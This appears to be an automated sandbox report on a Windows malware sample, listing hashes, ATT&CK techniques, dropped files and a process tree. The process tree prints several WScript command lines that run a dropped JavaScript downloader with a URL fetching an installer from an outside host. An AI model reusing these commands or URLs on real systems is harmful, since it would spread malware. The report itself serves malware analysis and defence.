48a4fe48a0ec092db99da8f17d41b3ebfe54859fc7282f9b1a166125d5441da3

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
12-06-2024 08:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe
Size

184KB
MD5

a0015f8b257ddba788410c463d362a36
SHA1

a76c29c0709f0750b7c1d31710a44756b018a779
SHA256

48a4fe48a0ec092db99da8f17d41b3ebfe54859fc7282f9b1a166125d5441da3
SHA512

2ce22b6d41cd7d93a347e7adcd53fee241b4148890387da43a2a9495b127719c5d99dea495f6ac46621d0692ee93967fecd1ec49b0a5f6c1e1179439d710135a
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3V:/7BSH8zUB+nGESaaRvoB7FJNndn0

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	1052	WScript.exe
8	1052	WScript.exe
10	1052	WScript.exe
12	2968	WScript.exe
13	2968	WScript.exe
15	2776	WScript.exe
16	2776	WScript.exe
18	1044	WScript.exe
19	1044	WScript.exe
21	1292	WScript.exe
22	1292	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1488	1800	WerFault.exe	27

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1052	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	28
PID 1800 wrote to memory of 1052	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	28
PID 1800 wrote to memory of 1052	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	28
PID 1800 wrote to memory of 1052	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	28
PID 1800 wrote to memory of 2968	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	30
PID 1800 wrote to memory of 2968	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	30
PID 1800 wrote to memory of 2968	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	30
PID 1800 wrote to memory of 2968	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	30
PID 1800 wrote to memory of 2776	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	32
PID 1800 wrote to memory of 2776	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	32
PID 1800 wrote to memory of 2776	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	32
PID 1800 wrote to memory of 2776	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	32
PID 1800 wrote to memory of 1044	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	34
PID 1800 wrote to memory of 1044	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	34
PID 1800 wrote to memory of 1044	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	34
PID 1800 wrote to memory of 1044	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	34
PID 1800 wrote to memory of 1292	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	36
PID 1800 wrote to memory of 1292	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	36
PID 1800 wrote to memory of 1292	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	36
PID 1800 wrote to memory of 1292	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	36
PID 1800 wrote to memory of 1488	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	38
PID 1800 wrote to memory of 1488	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	38
PID 1800 wrote to memory of 1488	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	38
PID 1800 wrote to memory of 1488	1800	a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe	38

C:\Users\Admin\AppData\Local\Temp\a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\a0015f8b257ddba788410c463d362a36_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf120A.js" http://www.djapp.info/?domain=nldDHLuhcC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf120A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1052
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf120A.js" http://www.djapp.info/?domain=nldDHLuhcC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf120A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2968
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf120A.js" http://www.djapp.info/?domain=nldDHLuhcC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf120A.exe
  2⤵
  - Blocklisted process makes network request
  PID:2776
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf120A.js" http://www.djapp.info/?domain=nldDHLuhcC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf120A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1044
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf120A.js" http://www.djapp.info/?domain=nldDHLuhcC.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=O-u5Gv2VyIlpZoV9mDIaX1kSjXPeXe1jmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4VuZQ244J8K0vpmkGR_f_0izx-uhliieAEpY1pjAYJo7bTV8zh C:\Users\Admin\AppData\Local\Temp\fuf120A.exe
  2⤵
  - Blocklisted process makes network request
  PID:1292
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1800 -s 532
  2⤵
  - Program crash
  PID:1488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
962debf6fda6f65f06a5df811f4a7407

SHA1
f6257069f9287554248fb2e067271b77ac9a7136

SHA256
d57f0a30d35d94a2697ba14ea6bb57f2ad52b4b612a8fa5f37ec31cf08e40e6a

SHA512
8bd8b1e5d0a3995ec7bbd1a69b01c0c97d9cb436d803ebc91f691d0a91cb3ba429edc588de9d33bf2d2dc5dc2a1ce27f572989f24cf378d58480bad856af0074

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
c6dc774d02786d36532fae8d52311395

SHA1
04e03fab3a3da13d51961a41cd0b29083809d7b5

SHA256
00473bb4d0109e40d1360f969e1862b95dd21fe5aa01ae58d706db6a80a28d19

SHA512
ed6f48e08a98d9a2909b3a469ada3fb5932e9dfe64c71d1ee05e9cb2350dba3eb177df602208ab61d0d0b69cee1907f5ce01c2cb4735a9fab105ec12d0976f27

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
177e9d6c41e5d449b7f86179d9168b89

SHA1
5b5c1fb3044be25178e189f6ed2ac912f9fca010

SHA256
e5a3ee61a47993613caf7e3c8da20cb3c3adf50b66f95178cd04488c3045f2c3

SHA512
5809d2b23e46a747dd34a6d410ad7ba74e5edc1ac9ca54500ce6809fc8bfcb07b895951a7a945d84ccce20d1b75a6f348f9a47bf2af82e99275ebb0afc79bc0b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
be39e98fbe0b4e479daa176b8c922eb5

SHA1
aedf3b1cf11fea75d2cdb0605465b1b6f4191466

SHA256
38513808c98c8c230d01c0cd825de248c929dc64fc990aa349ead46dcb7f4a7e

SHA512
cd0fb6c6aa97a14a8d51ed42bd54202e8f419d3c3eb5bbe9f73f859e2b5662a055c2af97c7661be4c55a43bf598a19c38bafaff62d47075cb588e28fe7634765

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
587e3494f15a096baff6b8b3bf8c48c3

SHA1
692540f2f46b5e67cf0fa5f34235278ca1232403

SHA256
90b56f3be0c870593201c59341e58eef2539ea012b82b2b1466eed27621cc250

SHA512
325890d7d9bbe673acca05da66123c614cd369248d7e6851601e2c8ed1f69160aa836f0f98d32fe56ddf045b26dff55c9540d24443ebf398c609e5ab317da633

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
47698ce1141ff1650a31b3f82332d967

SHA1
05bbcaaa36f64096f265a9207fe96d8834bd52b2

SHA256
9279a3d77470bfddd31c40094aab143faf710461637200ff710b5242d7285f88

SHA512
c5829f180bcd5fffa39b98346aa8c551c85dd93a1cfd2ad63e654abee0daecfff97b4d2e5c027fc5b9827362b7ef025ac3b67ff29af632e8acda7796664828fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\I819HQXH\domain_profile[1].htm

Filesize
40KB

MD5
13ebeb512a6702b63bcf6dfb25017e75

SHA1
93d2c33b61d473c2e0c92a4d63efbb7778fda821

SHA256
574cf092002fb659421113ee9787b1ed02ba10ae166da2a79c33760a17e51e20

SHA512
adb1da326227cbf5276151dd70393f5648a354121b68e7f10214df765fa481cdb69a323ffb3d715a356331019ce2e77a11a76dc0c7b9d9f35f2e1f09a9537e2c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
58b591b80ffe5e41929dba7de7f31f99

SHA1
40afd70b048100b0a0ca882ac9878c0d415ff179

SHA256
437126dd61f122d4ae9e7b9b44782e37d23cedb42c0205fc118bfdbaf3f33c9c

SHA512
111d76466ebececabfb655a829137cac6072f8cd232ae2a26010c4f8020d81d626dadd7577ba1f3bfd32da749d12adc8545727f3673357d0b80f4f75f2140724

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\domain_profile[1].htm

Filesize
40KB

MD5
bc2f57057e084a64e3cc146b1530098f

SHA1
8c7e8b45c06bb85b4dbb79f1b2153a056e6df922

SHA256
fd758105ba0e4bda9e411940df8443860f1495e982fde865b23ab344f56c9b41

SHA512
c67d5ed13f7eb70bc7db1106b9e863ac9a86dca968c1af510212fe12c2813aa54ff4cd8ede102614fd799523fc5053d2008d6542d51b54d067b1b26725472a9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab4183.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar59D4.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf120A.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\60AORKRQ.txt

Filesize
175B

MD5
3f996cf3c3f8cf6965e05eff48c1d6f6

SHA1
6790b699f4b89b46f925c83b5cc0c97b4657ffc0

SHA256
8300ab57e34626f24b58e6fee59ad998076d2a8199b64d3e39f534a76ccd24a2

SHA512
d73ccb59d388296d337623371bdb2e2a7bac221b957b8c2f8f31abca7be5fe49043166ba9110fc498a554b584ead968ab52aab514848a59d3531f534cc3d5fa5

Download Submit